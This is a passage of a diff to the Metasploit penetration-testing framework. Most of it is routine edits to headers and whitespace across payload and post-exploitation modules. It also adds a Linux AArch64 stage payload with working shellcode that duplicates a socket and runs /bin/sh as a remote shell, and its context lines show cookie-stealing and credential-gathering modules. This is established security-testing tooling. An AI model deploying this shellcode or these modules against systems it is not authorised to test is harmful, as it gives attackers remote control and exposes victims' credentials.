+      generate_config(opts.merge({scheme: 'tcp'}))).to_binary :process_image
+  end
+end
diff --git a/modules/payloads/stages/linux/aarch64/shell.rb b/modules/payloads/stages/linux/aarch64/shell.rb
new file mode 100644
index 0000000000..9a93c5610f
--- /dev/null
+++ b/modules/payloads/stages/linux/aarch64/shell.rb
@@ -0,0 +1,69 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/base/sessions/command_shell'
+require 'msf/base/sessions/command_shell_options'
+
+module MetasploitModule
+
+  include Msf::Sessions::CommandShellOptions
+
+  def initialize(info = {})
+    super(merge_info(info,
+      'Name'          => 'Linux dup2 Command Shell',
+      'Description'   => 'dup2 socket in x12, then execve',
+      'License'       => MSF_LICENSE,
+      'Platform'      => 'linux',
+      'Arch'          => ARCH_AARCH64,
+      'Session'       => Msf::Sessions::CommandShell,
+      'Stage'         =>
+        {
+          'Payload' =>
+          [
+            # Generated from external/source/shellcode/linux/aarch64/stage_shell.s
+            0xaa0c03e0,          #  mov	x0, x12
+            0xd2800002,          #  mov	x2, #0x0                   	// #0
+            0xd2800001,          #  mov	x1, #0x0                   	// #0
+            0xd2800308,          #  mov	x8, #0x18                  	// #24
+            0xd4000001,          #  svc	#0x0
+            0xd2800021,          #  mov	x1, #0x1                   	// #1
+            0xd2800308,          #  mov	x8, #0x18                  	// #24
+            0xd4000001,          #  svc	#0x0
+            0xd2800041,          #  mov	x1, #0x2                   	// #2
+            0xd2800308,          #  mov	x8, #0x18                  	// #24
+            0xd4000001,          #  svc	#0x0
+            0x10000140,          #  adr	x0, 54 <shell>
+            0xd2800002,          #  mov	x2, #0x0                   	// #0
+            0xf90003e0,          #  str	x0, [sp]
+            0xf90007e2,          #  str	x2, [sp,#8]
+            0x910003e1,          #  mov	x1, sp
+            0xd2801ba8,          #  mov	x8, #0xdd                  	// #221
+            0xd4000001,          #  svc	#0x0
+            0xd2800000,          #  mov	x0, #0x0                   	// #0
+            0xd2800ba8,          #  mov	x8, #0x5d                  	// #93
+            0xd4000001,          #  svc	#0x0
+            0x00000000,          #  .word	0x00000000                // shell
+            0x00000000,          #  .word	0x00000000
+            0x00000000,          #  .word	0x00000000
+            0x00000000,          #  .word	0x00000000
+          ].pack("V*")
+        }
+      ))
+    register_options([
+      OptString.new('SHELL', [ true, "The shell to execute.", "/bin/sh" ]),
+    ])
+  end
+
+  def generate_stage(opts = {})
+    p = super
+    sh = datastore['SHELL']
+    if sh.length >= 16
+      raise ArgumentError, "The specified shell must be less than 16 bytes."
+    end
+    p[84, sh.length] = sh
+    p
+  end
+
+end
diff --git a/modules/payloads/stages/linux/armle/meterpreter.rb b/modules/payloads/stages/linux/armle/meterpreter.rb
index 9bf86b76c5..29105a99e5 100644
--- a/modules/payloads/stages/linux/armle/meterpreter.rb
+++ b/modules/payloads/stages/linux/armle/meterpreter.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/payloads/stages/linux/armle/shell.rb b/modules/payloads/stages/linux/armle/shell.rb
index f66acb9ea4..c7a54b9eb5 100644
--- a/modules/payloads/stages/linux/armle/shell.rb
+++ b/modules/payloads/stages/linux/armle/shell.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -45,5 +45,4 @@ module MetasploitModule
         }
       ))
   end
-
 end
diff --git a/modules/payloads/stages/linux/mipsbe/meterpreter.rb b/modules/payloads/stages/linux/mipsbe/meterpreter.rb
index 5570ef48ae..343e05bd02 100644
--- a/modules/payloads/stages/linux/mipsbe/meterpreter.rb
+++ b/modules/payloads/stages/linux/mipsbe/meterpreter.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/payloads/stages/linux/mipsbe/shell.rb b/modules/payloads/stages/linux/mipsbe/shell.rb
index 2ce810df6d..69dba70ebb 100644
--- a/modules/payloads/stages/linux/mipsbe/shell.rb
+++ b/modules/payloads/stages/linux/mipsbe/shell.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -31,5 +31,4 @@ module MetasploitModule
         }
       ))
   end
-
 end
diff --git a/modules/payloads/stages/linux/mipsle/meterpreter.rb b/modules/payloads/stages/linux/mipsle/meterpreter.rb
index dda3f909bd..76cf09a60a 100644
--- a/modules/payloads/stages/linux/mipsle/meterpreter.rb
+++ b/modules/payloads/stages/linux/mipsle/meterpreter.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/payloads/stages/linux/mipsle/shell.rb b/modules/payloads/stages/linux/mipsle/shell.rb
index 3bd4d83258..c3efa04620 100644
--- a/modules/payloads/stages/linux/mipsle/shell.rb
+++ b/modules/payloads/stages/linux/mipsle/shell.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -31,5 +31,4 @@ module MetasploitModule
         }
       ))
   end
-
 end
diff --git a/modules/payloads/stages/linux/x64/meterpreter.rb b/modules/payloads/stages/linux/x64/meterpreter.rb
index cf1caa3433..00c2650427 100644
--- a/modules/payloads/stages/linux/x64/meterpreter.rb
+++ b/modules/payloads/stages/linux/x64/meterpreter.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/payloads/stages/linux/x64/shell.rb b/modules/payloads/stages/linux/x64/shell.rb
index 159f29fabb..b5bc6ac265 100644
--- a/modules/payloads/stages/linux/x64/shell.rb
+++ b/modules/payloads/stages/linux/x64/shell.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'msf/base/sessions/command_shell'
 require 'msf/base/sessions/command_shell_options'
 
@@ -44,5 +43,4 @@ module MetasploitModule
         }
       ))
   end
-
 end
diff --git a/modules/payloads/stages/linux/x86/meterpreter.rb b/modules/payloads/stages/linux/x86/meterpreter.rb
index 01effc9818..042d6c8525 100644
--- a/modules/payloads/stages/linux/x86/meterpreter.rb
+++ b/modules/payloads/stages/linux/x86/meterpreter.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/payloads/stages/linux/x86/shell.rb b/modules/payloads/stages/linux/x86/shell.rb
index acdc98246a..bda71f408e 100644
--- a/modules/payloads/stages/linux/x86/shell.rb
+++ b/modules/payloads/stages/linux/x86/shell.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -28,5 +28,4 @@ module MetasploitModule
         }
       ))
   end
-
 end
diff --git a/modules/payloads/stages/multi/meterpreter.rb b/modules/payloads/stages/multi/meterpreter.rb
index 22efa3552b..f3fc4e038c 100644
--- a/modules/payloads/stages/multi/meterpreter.rb
+++ b/modules/payloads/stages/multi/meterpreter.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -73,5 +73,4 @@ module MetasploitModule
 
     second_stage.stage_payload(opts)
   end
-
 end
diff --git a/modules/payloads/stages/netware/shell.rb b/modules/payloads/stages/netware/shell.rb
index bad7f267fa..963d7a3baa 100644
--- a/modules/payloads/stages/netware/shell.rb
+++ b/modules/payloads/stages/netware/shell.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/payloads/stages/osx/armle/execute.rb b/modules/payloads/stages/osx/armle/execute.rb
index 69325cdbf8..702216e348 100644
--- a/modules/payloads/stages/osx/armle/execute.rb
+++ b/modules/payloads/stages/osx/armle/execute.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -165,5 +165,4 @@ module MetasploitModule
     temp = Rex::Text.rand_text_alphanumeric(9)
     data.gsub("msf_stage_xxxxxxxxx.bin", "msf_stage_#{temp}.bin")
   end
-
 end
diff --git a/modules/payloads/stages/osx/armle/shell.rb b/modules/payloads/stages/osx/armle/shell.rb
index 699bed3514..46beae7aa6 100644
--- a/modules/payloads/stages/osx/armle/shell.rb
+++ b/modules/payloads/stages/osx/armle/shell.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -71,5 +71,4 @@ module MetasploitModule
         }
       ))
   end
-
 end
diff --git a/modules/payloads/stages/osx/ppc/shell.rb b/modules/payloads/stages/osx/ppc/shell.rb
index 00ac73cd84..c4805fc9f3 100644
--- a/modules/payloads/stages/osx/ppc/shell.rb
+++ b/modules/payloads/stages/osx/ppc/shell.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -35,5 +35,4 @@ module MetasploitModule
         }
       ))
   end
-
 end
diff --git a/modules/payloads/stages/osx/x64/dupandexecve.rb b/modules/payloads/stages/osx/x64/dupandexecve.rb
index 50c4a70ac7..84f193b167 100644
--- a/modules/payloads/stages/osx/x64/dupandexecve.rb
+++ b/modules/payloads/stages/osx/x64/dupandexecve.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -30,5 +30,4 @@ module MetasploitModule
         }
       ))
   end
-
 end
diff --git a/modules/payloads/stages/osx/x86/bundleinject.rb b/modules/payloads/stages/osx/x86/bundleinject.rb
index 2af0fac600..96f1afa265 100644
--- a/modules/payloads/stages/osx/x86/bundleinject.rb
+++ b/modules/payloads/stages/osx/x86/bundleinject.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/payloads/stages/osx/x86/isight.rb b/modules/payloads/stages/osx/x86/isight.rb
index c95d117ade..59c9668c2c 100644
--- a/modules/payloads/stages/osx/x86/isight.rb
+++ b/modules/payloads/stages/osx/x86/isight.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -86,5 +86,4 @@ module MetasploitModule
 
     super(session)
   end
-
 end
diff --git a/modules/payloads/stages/osx/x86/vforkshell.rb b/modules/payloads/stages/osx/x86/vforkshell.rb
index 2955f2b63a..46a99f0ace 100644
--- a/modules/payloads/stages/osx/x86/vforkshell.rb
+++ b/modules/payloads/stages/osx/x86/vforkshell.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -37,5 +37,4 @@ module MetasploitModule
         }
       ))
   end
-
 end
diff --git a/modules/payloads/stages/php/meterpreter.rb b/modules/payloads/stages/php/meterpreter.rb
index 81a50b3455..8899eca426 100644
--- a/modules/payloads/stages/php/meterpreter.rb
+++ b/modules/payloads/stages/php/meterpreter.rb
@@ -1,12 +1,12 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'msf/core/handler/reverse_tcp'
 require 'msf/base/sessions/meterpreter_php'
 require 'msf/base/sessions/meterpreter_options'
-
+require 'securerandom'
 
 module MetasploitModule
 
@@ -30,6 +30,10 @@ module MetasploitModule
     bytes = uuid.to_raw.chars.map { |c| '\x%.2x' % c.ord }.join('')
     met = met.sub("\"PAYLOAD_UUID\", \"\"", "\"PAYLOAD_UUID\", \"#{bytes}\"")
 
+    # Staged payloads need to have a new session GUID
+    session_guid = [SecureRandom.uuid.gsub(/-/, '')].pack('H*').chars.map { |c| '\x%.2x' % c.ord }.join('')
+    met = met.sub(%q|"SESSION_GUID", ""|, %Q|"SESSION_GUID", "#{session_guid}"|)
+
     met.gsub!(/#.*?$/, '')
     #met = Rex::Text.compress(met)
     met
diff --git a/modules/payloads/stages/python/meterpreter.rb b/modules/payloads/stages/python/meterpreter.rb
index 2f33c31801..8a5c216f04 100644
--- a/modules/payloads/stages/python/meterpreter.rb
+++ b/modules/payloads/stages/python/meterpreter.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -28,5 +28,4 @@ module MetasploitModule
   def generate_stage(opts={})
     stage_payload(opts)
   end
-
 end
diff --git a/modules/payloads/stages/windows/dllinject.rb b/modules/payloads/stages/windows/dllinject.rb
index c7afc4f6e9..d22a46ed63 100644
--- a/modules/payloads/stages/windows/dllinject.rb
+++ b/modules/payloads/stages/windows/dllinject.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/payloads/stages/windows/meterpreter.rb b/modules/payloads/stages/windows/meterpreter.rb
index f3a855a8eb..2774a9a7ee 100644
--- a/modules/payloads/stages/windows/meterpreter.rb
+++ b/modules/payloads/stages/windows/meterpreter.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'msf/core/payload/windows/meterpreter_loader'
 require 'msf/base/sessions/meterpreter_x86_win'
 require 'msf/base/sessions/meterpreter_options'
@@ -24,8 +23,8 @@ module MetasploitModule
     super(update_info(info,
       'Name'          => 'Windows Meterpreter (Reflective Injection)',
       'Description'   => 'Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged)',
-      'Author'        => ['skape','sf'],
-      'PayloadCompat' => { 'Convention' => 'sockedi'},
+      'Author'        => ['skape', 'sf', 'OJ Reeves'],
+      'PayloadCompat' => { 'Convention' => 'sockedi handleedi http https'},
       'License'       => MSF_LICENSE,
       'Session'       => Msf::Sessions::Meterpreter_x86_Win
     ))
diff --git a/modules/payloads/stages/windows/patchupdllinject.rb b/modules/payloads/stages/windows/patchupdllinject.rb
index f763c035f7..0ca08b28a8 100644
--- a/modules/payloads/stages/windows/patchupdllinject.rb
+++ b/modules/payloads/stages/windows/patchupdllinject.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/payloads/stages/windows/patchupmeterpreter.rb b/modules/payloads/stages/windows/patchupmeterpreter.rb
index f095ceea98..073d4323ca 100644
--- a/modules/payloads/stages/windows/patchupmeterpreter.rb
+++ b/modules/payloads/stages/windows/patchupmeterpreter.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'msf/core/payload/windows/dllinject'
 require 'msf/base/sessions/meterpreter_x86_win'
 require 'msf/base/sessions/meterpreter_options'
@@ -42,5 +41,4 @@ module MetasploitModule
   def library_path
     MetasploitPayloads.meterpreter_path('metsrv','x86.dll')
   end
-
 end
diff --git a/modules/payloads/stages/windows/shell.rb b/modules/payloads/stages/windows/shell.rb
index cd8b3f5320..5778343659 100644
--- a/modules/payloads/stages/windows/shell.rb
+++ b/modules/payloads/stages/windows/shell.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/payloads/stages/windows/upexec.rb b/modules/payloads/stages/windows/upexec.rb
index 73b88189e6..0332fb6f20 100644
--- a/modules/payloads/stages/windows/upexec.rb
+++ b/modules/payloads/stages/windows/upexec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -93,5 +93,4 @@ module MetasploitModule
 
     super
   end
-
 end
diff --git a/modules/payloads/stages/windows/vncinject.rb b/modules/payloads/stages/windows/vncinject.rb
index 33f3ebddb1..5859a8d036 100644
--- a/modules/payloads/stages/windows/vncinject.rb
+++ b/modules/payloads/stages/windows/vncinject.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/payloads/stages/windows/x64/meterpreter.rb b/modules/payloads/stages/windows/x64/meterpreter.rb
index c2f46b1917..de790efebf 100644
--- a/modules/payloads/stages/windows/x64/meterpreter.rb
+++ b/modules/payloads/stages/windows/x64/meterpreter.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'msf/core/payload/windows/x64/meterpreter_loader'
 require 'msf/base/sessions/meterpreter_x64_win'
 require 'msf/base/sessions/meterpreter_options'
@@ -24,8 +23,8 @@ module MetasploitModule
     super(update_info(info,
       'Name'          => 'Windows Meterpreter (Reflective Injection x64)',
       'Description'   => 'Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged x64)',
-      'Author'        => ['skape','sf', 'OJ Reeves'],
-      'PayloadCompat' => { 'Convention' => 'sockrdi', },
+      'Author'        => ['skape', 'sf', 'OJ Reeves'],
+      'PayloadCompat' => { 'Convention' => 'sockrdi handlerdi http https'},
       'License'       => MSF_LICENSE,
       'Session'       => Msf::Sessions::Meterpreter_x64_Win))
   end
diff --git a/modules/payloads/stages/windows/x64/shell.rb b/modules/payloads/stages/windows/x64/shell.rb
index 3d45226bff..2ff881aacd 100644
--- a/modules/payloads/stages/windows/x64/shell.rb
+++ b/modules/payloads/stages/windows/x64/shell.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -55,5 +55,4 @@ module MetasploitModule
         }
       ))
   end
-
 end
diff --git a/modules/payloads/stages/windows/x64/vncinject.rb b/modules/payloads/stages/windows/x64/vncinject.rb
index fa68387662..8f466c207c 100644
--- a/modules/payloads/stages/windows/x64/vncinject.rb
+++ b/modules/payloads/stages/windows/x64/vncinject.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -29,5 +29,4 @@ module MetasploitModule
   def library_path
     File.join(Msf::Config.data_directory, "vncdll.x64.dll")
   end
-
 end
diff --git a/modules/post/aix/hashdump.rb b/modules/post/aix/hashdump.rb
index b3cfbc6a6a..943f06fcc2 100644
--- a/modules/post/aix/hashdump.rb
+++ b/modules/post/aix/hashdump.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::File
   include Msf::Post::Linux::Priv
 
@@ -62,5 +61,4 @@ class MetasploitModule < Msf::Post
     end
 
   end
-
 end
diff --git a/modules/post/android/capture/screen.rb b/modules/post/android/capture/screen.rb
index 025accbe5e..181bfad53a 100644
--- a/modules/post/android/capture/screen.rb
+++ b/modules/post/android/capture/screen.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::File
 
   def initialize(info={})
diff --git a/modules/post/android/manage/remove_lock.rb b/modules/post/android/manage/remove_lock.rb
index 8fc70b1fb1..02c7aef1f1 100644
--- a/modules/post/android/manage/remove_lock.rb
+++ b/modules/post/android/manage/remove_lock.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -69,6 +69,5 @@ class MetasploitModule < Msf::Post
       print_error("The Intent could not be started: #{result}")
     end
   end
-
 end
 
diff --git a/modules/post/android/manage/remove_lock_root.rb b/modules/post/android/manage/remove_lock_root.rb
index e3e3a0da91..04afbbc67a 100644
--- a/modules/post/android/manage/remove_lock_root.rb
+++ b/modules/post/android/manage/remove_lock_root.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::Common
   include Msf::Post::Android::Priv
 
@@ -41,6 +40,5 @@ class MetasploitModule < Msf::Post
 
     print_status("Device should be unlocked or no longer require a pin")
   end
-
 end
 
diff --git a/modules/post/cisco/gather/enum_cisco.rb b/modules/post/cisco/gather/enum_cisco.rb
index 0f0a5b91e7..444cffcb82 100644
--- a/modules/post/cisco/gather/enum_cisco.rb
+++ b/modules/post/cisco/gather/enum_cisco.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -87,7 +87,7 @@ class MetasploitModule < Msf::Post
     end
 
     # Print the version of VERBOSE set to true.
-    vprint_status("version information stored in to loot, file:#{ver_loc}")
+    vprint_good("version information stored in to loot, file:#{ver_loc}")
 
     # Enumerate depending priv level
     case priv
@@ -185,7 +185,7 @@ class MetasploitModule < Msf::Post
         cmd_out.strip,
         "#{ec['fn']}.txt",
         ec['desc'])
-      vprint_status("Saving to #{cmd_loc}")
+      vprint_good("Saving to #{cmd_loc}")
     end
   end
 
@@ -227,7 +227,7 @@ class MetasploitModule < Msf::Post
         cmd_out.strip,
         "#{ec['fn']}.txt",
         ec['desc'])
-      vprint_status("Saving to #{cmd_loc}")
+      vprint_good("Saving to #{cmd_loc}")
     end
   end
 end
diff --git a/modules/post/firefox/gather/cookies.rb b/modules/post/firefox/gather/cookies.rb
index 6f444f7297..7effa867f4 100644
--- a/modules/post/firefox/gather/cookies.rb
+++ b/modules/post/firefox/gather/cookies.rb
@@ -1,11 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'json'
-class MetasploitModule < Msf::Post
 
+class MetasploitModule < Msf::Post
   include Msf::Exploit::Remote::FirefoxPrivilegeEscalation
 
   def initialize(info={})
diff --git a/modules/post/firefox/gather/history.rb b/modules/post/firefox/gather/history.rb
index aa6bac07cc..b5e74fb093 100644
--- a/modules/post/firefox/gather/history.rb
+++ b/modules/post/firefox/gather/history.rb
@@ -1,11 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'json'
-class MetasploitModule < Msf::Post
 
+class MetasploitModule < Msf::Post
   include Msf::Exploit::Remote::FirefoxPrivilegeEscalation
 
   def initialize(info={})
diff --git a/modules/post/firefox/gather/passwords.rb b/modules/post/firefox/gather/passwords.rb
index 6bc80ced40..0531b301d9 100644
--- a/modules/post/firefox/gather/passwords.rb
+++ b/modules/post/firefox/gather/passwords.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -7,7 +7,6 @@ require 'json'
 require 'msf/core/payload/firefox'
 
 class MetasploitModule < Msf::Post
-
   include Msf::Payload::Firefox
   include Msf::Exploit::Remote::FirefoxPrivilegeEscalation
 
diff --git a/modules/post/firefox/gather/xss.rb b/modules/post/firefox/gather/xss.rb
index d70f41f4a7..8e74cec7ef 100644
--- a/modules/post/firefox/gather/xss.rb
+++ b/modules/post/firefox/gather/xss.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -7,7 +7,6 @@ require 'json'
 require 'msf/core/payload/firefox'
 
 class MetasploitModule < Msf::Post
-
   include Msf::Payload::Firefox
   include Msf::Exploit::Remote::FirefoxPrivilegeEscalation
 
@@ -29,7 +28,7 @@ class MetasploitModule < Msf::Post
       OptString.new('SCRIPT', [true, "The javascript command to run", 'send(document.cookie)']),
       OptPath.new('SCRIPTFILE', [false, "The javascript file to run"]),
       OptString.new('URL', [
-        true, "URL to inject into", 'http://metasploit.com'
+        true, "URL to inject into", 'https://metasploit.com'
       ]),
       OptInt.new('TIMEOUT', [true, "Maximum time (seconds) to wait for a response", 90])
     ])
diff --git a/modules/post/firefox/manage/webcam_chat.rb b/modules/post/firefox/manage/webcam_chat.rb
index e28a463e47..5fdc7137d1 100644
--- a/modules/post/firefox/manage/webcam_chat.rb
+++ b/modules/post/firefox/manage/webcam_chat.rb
@@ -1,11 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'json'
-class MetasploitModule < Msf::Post
 
+class MetasploitModule < Msf::Post
   include Msf::Exploit::Remote::FirefoxPrivilegeEscalation
   include Msf::Post::WebRTC
 
@@ -106,5 +106,4 @@ class MetasploitModule < Msf::Post
       })(this.send);
     |
   end
-
 end
diff --git a/modules/post/hardware/automotive/canprobe.rb b/modules/post/hardware/automotive/canprobe.rb
index ad899f0458..0c240687d0 100644
--- a/modules/post/hardware/automotive/canprobe.rb
+++ b/modules/post/hardware/automotive/canprobe.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -54,5 +54,4 @@ class MetasploitModule < Msf::Post
     end
     print_status("Probe Complete")
   end
-
 end
diff --git a/modules/post/hardware/automotive/getvinfo.rb b/modules/post/hardware/automotive/getvinfo.rb
index 9d8f3389ea..d387e929b5 100644
--- a/modules/post/hardware/automotive/getvinfo.rb
+++ b/modules/post/hardware/automotive/getvinfo.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'msf/core/post/hardware/automotive/uds'
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::Hardware::Automotive::UDS
   include Msf::Post::Hardware::Automotive::DTC
 
@@ -24,6 +23,8 @@ class MetasploitModule < Msf::Post
     register_options([
       OptInt.new('SRCID', [true, "Module ID to query", 0x7e0]),
       OptInt.new('DSTID', [false, "Expected reponse ID, defaults to SRCID + 8", 0x7e8]),
+      OptInt.new('PADDING', [false, "Optinal end of packet padding", nil]),
+      OptBool.new('FC', [false, "Optinal forces flow control", nil]),
       OptBool.new('CLEAR_DTCS', [false, "Clear any DTCs and reset MIL if errors are present", false]),
       OptString.new('CANBUS', [false, "CAN Bus to perform scan on, defaults to connected bus", nil])
     ])
@@ -31,7 +32,10 @@ class MetasploitModule < Msf::Post
   end
 
   def run
-    pids = get_current_data_pids(datastore["CANBUS"], datastore["SRCID"], datastore["DSTID"])
+    opt = {}
+    opt['PADDING'] = datastore["PADDING"] if datastore["PADDING"]
+    opt['FC'] = datastore['FC'] if datastore['FC']
+    pids = get_current_data_pids(datastore["CANBUS"], datastore["SRCID"], datastore["DSTID"], opt)
     if pids.size == 0
       print_status("No reported PIDs. You may not be properly connected")
     else
